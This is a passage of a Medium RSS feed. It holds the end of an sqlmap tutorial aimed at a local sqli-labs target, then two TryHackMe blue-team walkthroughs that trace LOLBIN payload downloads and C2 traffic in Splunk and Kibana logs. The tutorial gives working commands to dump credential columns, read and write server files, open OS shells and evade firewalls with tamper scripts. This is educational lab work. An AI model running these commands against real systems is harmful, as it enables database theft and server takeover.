— — — — — — — — — — — +</p><pre>sqlmap -u &lt;http://10.0.2.15/sql/Less-1/?id=1 --technique=B --dbms=MySQL --level=1 --risk=1</pre><p>You can use specific techniques using — technique=&lt;prefer letter of technique&gt;.</p><p>Some sqlmap commands with their uses are listed below:</p><pre>sqlmap -u &lt;http://10.0.2.15/sql/Less-1/?id=1 --current-user</pre><p>To find the database’s current user we can use — current-user argument.</p><pre>sqlmap -u &lt;http://10.0.2.15/sql/Less-1/?id=1 --dbs</pre><p>We can use — dbs parameter to find all the databases present.</p><p>How to dump the table?</p><pre>sqlmap -u &lt;http://10.0.2.15/sql/Less-1/?id=1 -D &lt;databasename&gt; --tables</pre><p>We can use — tables argument to list all the tables in a database given.</p><pre>sqlmap -u &lt;http://10.0.2.15/sql/Less-1/?id=1 -D &lt;databasename&gt; -T &lt;table name&gt; --dump</pre><p>To dump the table of a given database we can use — dump with -T and -D where T stands for table name and D stands for the Database name.</p><pre>sqlmap -u &lt;http://10.0.2.15/sql/Less-1/?id=1 -D &lt;databasename&gt; -T &lt;table name&gt; --columns<br>sqlmap -u &lt;http://10.0.2.15/sql/Less-1/?id=1 -D &lt;databasename&gt; -T &lt;table name&gt; -C &quot;username,password&quot; --dump</pre><p>We can also dump specific columns for that first we need to find the columns’ names using — columns and after that, we can use -C argument to supply the column name.</p><p>There is an easy way to use sqlmap this is mostly focused on new users and the argument for this is — wizard.</p><pre>sqlmap --wizard</pre><p>This will help us use sqlmap in an easy way.</p><pre>sqlmap -u &lt;http://10.0.2.15/sql/Less-1/?id=1 --dump-all</pre><p>We can also use — dump-all to dump everything but this will take a long time and is not suggested.</p><pre>sqlmap -u &lt;http://10.0.2.15/sql/Less-9/?id=2 --batch</pre><p>we can also use — batch parameters to use the default value and don’t ask for user input.</p><h3>Multi-threading</h3><p>threads</p><pre>sqlmap -u &lt;http://10.0.2.15/sql/Less-9/?id=2 -D &lt;database&gt; --dump --threads 4</pre><p>— threads is used to give max number of concurrent HTTP(s) requests.</p><p>Null connection</p><pre>sqlmap -u &lt;http://10.0.2.15/sql/Less-9/?id=2 -D &lt;database&gt; --dump --null-connection</pre><p>— null-connection is used to try to retrieve data without a full load of HTML.</p><p>keep alive</p><pre>sqlmap -u &lt;http://10.0.2.15/sql/Less-9/?id=2 -D &lt;database&gt; --dump --keep-alive</pre><p>— keep-alive is used for persistent HTTP(s) connection.</p><p>predict-output</p><pre>sqlmap -u &lt;http://10.0.2.15/sql/Less-9/?id=2 -D &lt;database&gt; --dump --predict-output</pre><p>— predict-output is used for predicting common query output.</p><p>Finally, we can use -o to turn on all optimization switches.</p><pre>sqlmap -u &lt;http://10.0.2.15/sql/Less-9/?id=2 -D &lt;database&gt; --dump -o</pre><h3>read and write file</h3><p>We can use sqlmap to read and write files in that system so, for this, we should first check for the privileges.</p><p>We can do so using — privileges parameter.</p><pre>sqlmap -u &lt;http://10.0.2.15/sql/Less-9/?id=2 --privileges</pre><p>And if we have privileges we can use — file-read and the name of the file with its location to read it.</p><pre>sqlmap -u &lt;http://10.0.2.15/sql/Less-9/?id=2 --file-read=c:/xampp/htdocs/index.php</pre><p>We can also write using sqlmap if we have write privileges with — file-write with the location of the file and — file-dest to give the destination where you want to write.</p><pre>sqlmap -u &lt;http://10.0.2.15/sql/Less-9/?id=2 --file-write=/home/an/hi --file-dest=c:/xampp/htdocs/test</pre><h3>Post request</h3><p>We can also try sql injection in post request for this we have to supply data with the — data parameter and we can use -p to supply a parameter where we want to try SQL injection.</p><pre>sqlmap  -u &lt;http://10.0.2.15/sql/Less-11/ --data=&quot;uname=test&#39;&amp;passwd=&amp;submit=Submit&quot; -p uname</pre><p>We can also try SQL injection in post-request using the post-request file which we could get using the burp suite.</p><p>first, save the request in a file then…</p><p>we could just use -r for the request filename.</p><pre>sqlmap -r filename -p uname</pre><h3>Operating System Takeover</h3><p>We can use the — os-cmd parameter with the command you want to run.</p><pre>sqlmap -u &lt;http://10.0.2.15/sql/Less-9/?id=2 --os-cmd=whoami</pre><p>In sqlmap we can get os shell also for that we have to use — os-shell parameter.</p><pre>sqlmap -u &lt;http://10.0.2.15/sql/Less-9/?id=2 --os-shell</pre><p>We can also prompt os shell in Metasploit and direct shell also using — os-pwn.</p><pre>sudo sqlmap -u &lt;http://10.0.2.15/sql/Less-9/?id=2 --os-pwn</pre><h3>Bypass Web Application Firewall</h3><p>Sometimes we have to encode the payload or are blocked by a firewall in this case we could use tampers.</p><p>there are different tampers we can use — list-tampers to list the with their description.</p><pre>sqlmap --list-tampers</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ovgQFKqMQOxRXdbFk3JgXw.png" /></figure><p>We then can use the required tamper using — tamper and supply required name.</p><pre>sqlmap -u &lt;http://10.0.2.15/sql/Less-30/?id=2 --level 2 --risk 2 --tamper=charencode.py -v 4</pre><p>If you want to practice SQL injection</p><p><a href="https://github.com/Audi-1/sqli-labs">GitHub - Audi-1/sqli-labs: SQLI labs to test error based, Blind boolean based, Time based.</a></p><p>This is a great resource.</p><p>Finally, a pro tips for a bug hunter:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*aqRiN1x3_L0NX0ZSIWc_fA.png" /><figcaption>Bug hunter</figcaption></figure><p>We can use sqlmap in burp suite which will increase your productivity.</p><p>If you want to know more about it watch this:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FJ-wQs6ymlrc%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DJ-wQs6ymlrc&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FJ-wQs6ymlrc%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/7e746ccfbbd39ef4eb6472ecfef45b4e/href">https://medium.com/media/7e746ccfbbd39ef4eb6472ecfef45b4e/href</a></iframe><p>I am also a learner so if you have any suggestions please comment.</p><p>Thank you :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6be3d8f81077" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Benign Tryhackme]]></title>
            <link>https://medium.com/@0xUN7H1NK4BLE/benign-tryhackme-e4977528969e?source=rss-38a3f4d196e6------2</link>
            <guid isPermaLink="false">https://medium.com/p/e4977528969e</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[benign]]></category>
            <dc:creator><![CDATA[0xUN7H1NK4BLE]]></dc:creator>
            <pubDate>Mon, 19 Dec 2022 04:23:45 GMT</pubDate>
            <atom:updated>2022-12-19T04:23:45.519Z</atom:updated>
            <content:encoded><![CDATA[<p>We will investigate host-centric logs in this challenge room to find suspicious process execution. To learn more about Splunk and how to investigate the logs, look at the rooms <a href="https://tryhackme.com/room/splunk101">splunk101</a> and <a href="https://tryhackme.com/room/splunk201">splunk201</a>.</p><p>Room Machine</p><p>Before moving forward, deploy the machine. When you deploy the machine, it will be assigned an IP. Access this room via the AttackBox, or via the VPN at 10.10.150.46. The machine will take up to 3-5 minutes to start. ll the required logs are ingested in the index win_eventlogs.</p><p>One of the client’s IDS indicated a potentially suspicious process execution indicating one of the hosts from the HR department was compromised. Some tools related to network information gathering / scheduled tasks were executed which confirmed the suspicion. Due to limited resources, we could only pull the process execution logs with Event ID: 4688 and ingested them into Splunk with the index <strong>win_eventlogs</strong> for further investigation.</p><p>About the Network Information</p><p>The network is divided into three logical segments. It will help in the investigation.</p><p><strong>IT Department</strong></p><ul><li>James</li><li>Moin</li><li>Katrina</li></ul><p><strong>HR department</strong></p><ul><li>Haroon</li><li>Chris</li><li>Diana</li></ul><p><strong>Marketing department</strong></p><ul><li>Bell</li><li>Amelia</li><li>Deepak</li></ul><p>How many logs are ingested from the month of March?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mue4SSLzih8v4dCCneKRNg.png" /></figure><p>Imposter Alert: There seems to be an imposter account observed in the logs, what is the name of that user?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*QPdQ3alsYr1dNeiwYV9suA.png" /></figure><p>Which user from the HR department was observed to be running scheduled tasks?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xBS51DU2dPEVzgw8terVeg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/1*rl7yOQ3cKLIEDx3BshPaew.png" /></figure><p>You know who is from hr.</p><p>Which user from the HR department executed a system process (LOLBIN) to download a payload from a file-sharing host.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gO8HjL5Dulp1gcW98zpR1Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F1xSkexsu4wxu9xj2k_MzA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*Kw8K3-frnLNMK4KhCSytog.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oZl_oCVOl7kAltWavrbhPg.png" /></figure><p>you will find name.</p><p>To bypass the security controls, which system process (lolbin) was used to download a payload from the internet?</p><p>Just view in processname.</p><p>What was the date that this binary was executed by the infected host? format (YYYY-MM-DD)</p><p>time section</p><p>Which third-party site was accessed to download the malicious payload?</p><p>in command line section</p><p>What is the name of the file that was saved on the host machine from the C2 server during the post-exploitation phase?</p><p>in command line</p><p>The suspicious file downloaded from the C2 server contained malicious content with the pattern THM{……….}; what is that pattern?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r0RcGsqpp10bmecBY5pY7g.png" /></figure><p>What is the URL that the infected host connected to?</p><p>do we have a url.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e4977528969e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ItsyBitsy]]></title>
            <link>https://medium.com/@0xUN7H1NK4BLE/itsybitsy-470ce53a4293?source=rss-38a3f4d196e6------2</link>
            <guid isPermaLink="false">https://medium.com/p/470ce53a4293</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[itsy-bitsy]]></category>
            <category><![CDATA[elastic]]></category>
            <dc:creator><![CDATA[0xUN7H1NK4BLE]]></dc:creator>
            <pubDate>Mon, 19 Dec 2022 03:54:59 GMT</pubDate>
            <atom:updated>2022-12-19T03:54:59.689Z</atom:updated>
            <content:encoded><![CDATA[<p>In this challenge room, we will take a simple challenge to investigate an alert by IDS regarding a potential C2 communication.</p><p>Room Machine</p><p>Before moving forward, deploy the machine. When you deploy the machine, it will be assigned an IP <strong>Machine IP</strong>: 10.10.163.87. The machine will take up to 3-5 minutes to start. Use the following credentials to log in and access the logs in the Discover tab.</p><p><strong>Username:</strong> Admin</p><p><strong>Password:</strong> elastic123</p><p>Scenario</p><p>During normal SOC monitoring, Analyst John observed an alert on an IDS solution indicating a potential C2 communication from a user Browne from the HR department. A suspicious file was accessed containing a malicious pattern THM:{ ________ }. A week-long HTTP connection logs have been pulled to investigate. Due to limited resources, only the connection logs could be pulled out and are ingested into the connection_logs index in Kibana.</p><p>Our task in this room will be to examine the network connection logs of this user, find the link and the content of the file, and answer the questions.</p><p>Answer the questions below</p><p>How many events were returned for the month of March 2022?</p><p>search for a date</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RjMnZew41pkuORbp_GUZjA.png" /></figure><p>What is the IP associated with the suspected user in the logs?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*_OJ-XYUEjdtTw64JDduwHQ.png" /></figure><p>The user’s machine used a legit windows binary to download a file from the C2 server. What is the name of the binary?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7QHqOxhm4HesycFcdAcICA.png" /></figure><p>The infected machine connected with a famous filesharing site in this period, which also acts as a C2 server used by the malware authors to communicate. What is the name of the filesharing site?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sWluxIhvTYBjHbRYWDeanw.png" /></figure><p>What is the full URL of the C2 to which the infected host is connected?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9EfTPo48SRRyXpQB-WQINA.png" /></figure><p>A file was accessed on the filesharing site. What is the name of the file accessed?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nUlnBaVSUAzT_P14Qdh3sA.png" /></figure><p>The file contains a secret code with the format THM{_____}.</p><p>look for it.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=470ce53a4293" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>